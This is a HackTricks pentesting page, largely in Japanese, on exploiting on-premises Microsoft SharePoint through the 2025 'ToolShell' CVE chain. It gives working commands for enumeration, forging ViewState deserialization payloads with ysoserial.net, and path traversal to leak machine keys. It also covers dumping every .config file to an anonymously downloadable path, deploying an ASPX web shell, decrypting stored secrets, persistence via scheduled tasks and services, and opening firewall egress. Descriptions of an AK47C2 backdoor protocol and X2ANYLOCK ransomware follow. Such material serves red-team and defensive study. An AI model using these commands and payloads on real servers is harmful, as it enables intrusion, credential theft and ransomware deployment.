Microsoft SharePoint – Pentesting & Exploitation

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Microsoft SharePoint(on-premises)はASP.NET/IIS上に構築されています。そのため、古典的なweb攻撃面(ViewState、Web.Config、web shellsなど)のほとんどが存在しますが、SharePointは数百の独自ASPXページとwebサービスを同梱しており、公開される攻撃面を劇的に拡大します。このページは、SharePoint環境内をenumerate、exploit、persistするための実用的なトリックを集めており、Unit42が公開した2025年のexploit chain(CVE-2025-49704/49706/53770/53771)に重点を置いています。

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> はページに任意の Server-Side Include コードを注入できるようにし、そのコードは後で ASP.NET によってコンパイルされます。攻撃者は Process.Start() を実行する C# を埋め込み、悪意のある ViewState を配置できます。

2.2 CVE-2025-49706 – Improper Authentication Bypass

同じページはサイトコンテキストを判別するために X-Forms_BaseUrl ヘッダを信頼します。これを /_layouts/15/ に向けることで、ルートサイトで強制されている MFA/SSO を unauthenticated の状態でバイパスできます。

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

攻撃者が ToolPane.aspx 内のガジェットを制御すると、unsigned(または MAC のみ)の __VIEWSTATE を投稿して、w3wp.exe 内で .NET の deserialization を引き起こしコード実行に至らせることができます。

If signing is enabled, steal the ValidationKey/DecryptionKey from any web.config (see 2.4) and forge the payload with ysoserial.net or ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Source パラメータに細工した値を ToolPane.aspx に送信する(例: ../../../../web.config)と、対象ファイルが返され、以下が漏洩する可能性がある:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ ViewState / ASPXAUTH cookies を偽造可能にする
  • connection strings & secrets

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point は、Microsoft が修正を出す数か月前に Ink Dragon が ToolShell チェーンをどのように運用していたかをマッピングした:

  • Header spoofing for auth bypass – 攻撃者は /_layouts/15/ToolPane.aspx に対して Referer: https://<victim>/_layouts/15/ と偽の X-Forms_BaseUrl を付けた POST を送信する。これらのヘッダにより SharePoint はリクエストが信頼された layout から発生したと判断し、フロントドアの認証を完全にスキップする(CVE-2025-49706/CVE-2025-53771)。
  • Serialized gadget in the same request – ボディには攻撃者が制御する ViewState/ToolPart データが含まれ、脆弱なサーバー側フォーマッタに到達する(CVE-2025-49704/CVE-2025-53770)。ペイロードは通常 ysoserial.net のチェーンで、w3wp.exe 内でディスクに触れることなく実行される。
  • Internet-scale scanning – 2025年7月のテレメトリでは、到達可能な全ての /_layouts/15/ToolPane.aspx エンドポイントを列挙し、leaked <machineKey> ペアの辞書をリプレイしていたことが示されている。ドキュメントからサンプルの validationKey をコピーしたサイトは、他が完全にパッチ済みであっても侵害され得る(署名ワークフローについては ViewState ページ参照)。
  • Immediate staging – 成功した侵害はローダーや PowerShell ステージャを設置し、(1) 全ての web.config をダンプ、(2) 退避用の ASPX webshell を植え付け、(3) IIS ワーカーからの脱出のためにローカルで Potato privesc をスケジュールする、という流れになる。

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

生成された debug_dev.js は匿名でダウンロードでき、すべての機密設定が含まれています。

3.2 Base64-encoded ASPX web shell (variation-2) の展開

powershell.exe -EncodedCommand <base64>

デコード済み payload の例(短縮):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

書き込み先:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

The shell exposes endpoints to マシンキーの読み取り/ローテーション which allows forging ViewState and ASPXAUTH cookies across the farm.

3.3 Obfuscated variant (variation-3)

同じシェルだが:

  • 次のディレクトリに配置: ...\15\TEMPLATE\LAYOUTS\
  • 変数名が単一文字に短縮されている
  • Thread.Sleep(<ms>) がサンドボックス回避とタイミングベースの AV バイパスのために追加されている。

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (observed 2025-2026)

最近のインシデント対応調査(Unit42 “Project AK47”)は、攻撃者が ToolShell チェーンを初期 RCE の後に活用して、SharePoint 環境にデュアルチャネルの C2 インプラントとランサムウェアを展開する様子を示している:

AK47C2 – dnsclient variant

  • ハードコードされた DNS サーバ: 10.7.66.10 が権威ドメイン update.updatemicfosoft.com と通信する。
  • メッセージは JSON オブジェクトで、静的キー VHBD@H によって XOR 暗号化され、hex エンコードされて サブドメインラベル として埋め込まれる。
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • 長いクエリはチャンク化され、s をプレフィックスしてからサーバ側で再構成される。
  • サーバは同じ XOR/hex スキームを使用した TXT レコードで応答する:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Version 202504 では簡易フォーマット <COMMAND>::<SESSION_KEY> とチャンクマーカー 1, 2, a が導入された。

AK47C2 – httpclient variant

  • 同じ JSON と XOR ルーチンを再利用するが、hex ブロブを libcurl (CURLOPT_POSTFIELDS, etc.) 経由でHTTP POST ボディに送信する。
  • 同じタスク/結果のワークフローにより以下を実現する:
    • 任意のシェルコマンド実行。
    • 動的なスリープ間隔やキルスイッチ指示。

X2ANYLOCK ransomware

  • DLL side-loading を通じてロードされる 64-bit の C++ ペイロード(下記参照)。
  • ファイルデータに AES-CBC を使用し、AES キーを RSA-2048 でラップした後、拡張子 .x2anylock を付与する。
  • ローカルドライブおよび検出された SMB 共有を再帰的に暗号化し、システムパスはスキップする。
  • 交渉用の静的な Tox ID を埋め込んだ平文のメモ How to decrypt my data.txt をドロップする。
  • 内部に kill-switch を含む:
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. 攻撃者は正当な 7z.exe の隣に dllhijacked.dll/My7zdllhijacked.dll を書き込む。
  2. SharePoint によって起動された w3wp.exe7z.exe を起動し、Windows の検索順のために悪意のある DLL をロードしてメモリ内でランサムウェアのエントリポイントを呼び出す。
  3. 別の LockBit ローダー(bbb.msiclink_x86.execlink_dll_x86.dll)がシェルコードを復号し、LockBit 3.0 を実行するために d3dl1.dll への DLL hollowing を行うのが観察された。

[!INFO] X2ANYLOCK で見つかった同じ静的 Tox ID が leaked LockBit databases にも現れており、アフィリエイトの重複を示唆している。

3.5 Turning SharePoint loot into lateral movement

  • すべての保護されたセクションを復号する – web tier に足を踏み入れたら、aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri(または -px "appSettings")を悪用して <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider"> の背後にある平文のシークレットをダンプする。Ink Dragon はこの方法で繰り返し SQL ログイン、SMTP リレー、カスタムサービスの資格情報を収集した。
  • app-pool アカウントをファーム間で再利用する – 多くの企業は全てのフロントエンドで IIS APPPOOL\SharePoint に同じドメインアカウントを再利用している。identity impersonate="..." ブロックを復号化したり ApplicationHost.config を読み取った後、その資格情報を SMB/RDP/WinRM 経由ですべての兄弟サーバに対してテストする。複数の事案でそのアカウントはローカル管理者でもあり、psexecsc create、またはスケジュールタスクでのステージングをパスワードスプレーを起こさずに可能にした。
  • Abuse leaked <machineKey> values internally – インターネット境界がパッチされても、同じ validationKey/decryptionKey を再利用すると、相互に信頼する内部の SharePoint ゾーン間での ViewState 横移動攻撃を許してしまう。

3.6 Persistence patterns witnessed in 2025 intrusions

  • Scheduled tasksSYSCHECK(またはその他のヘルス関連名)というワンショットタスクが /ru SYSTEM /sc once /st <hh:mm> で作成され、次段階ローダ(一般的にはリネームされた conhost.exe)をブートストラップする。ワンショットで実行されるため、履歴のタスク XML が保存されていない限りテレメトリは見逃すことが多い。
  • Masqueraded servicesWindowsTempUpdateWaaSMaintainerMicrosoftTelemetryHost などのサービスが sideloading triad ディレクトリを指す sc create でインストールされる。バイナリは元の AMD/Realtek/NVIDIA の署名を保持しているが、Windows コンポーネントに合わせて名前を変更している; on-disk 名と PE フィールドの OriginalFileName を比較するのが簡易的な整合性チェックになる。

3.7 Host firewall downgrades for relay traffic

Ink Dragon は定期的に Defender のメンテナンスを装った許可的なアウトバウンドルールを追加し、ShadowPad/FinalDraft のトラフィックが任意のポートで外部へ出られるようにする:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

そのルールはローカルで作成され(GPO経由ではなく)、正当な Defender バイナリを program= として使用するため、多くの SOC ベースラインはこれを無視しますが、それでも Any ➜ Any egress を開きます。


関連トリック

  • IIS post-exploitation & web.config abuse:

IIS - Internet Information Services

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする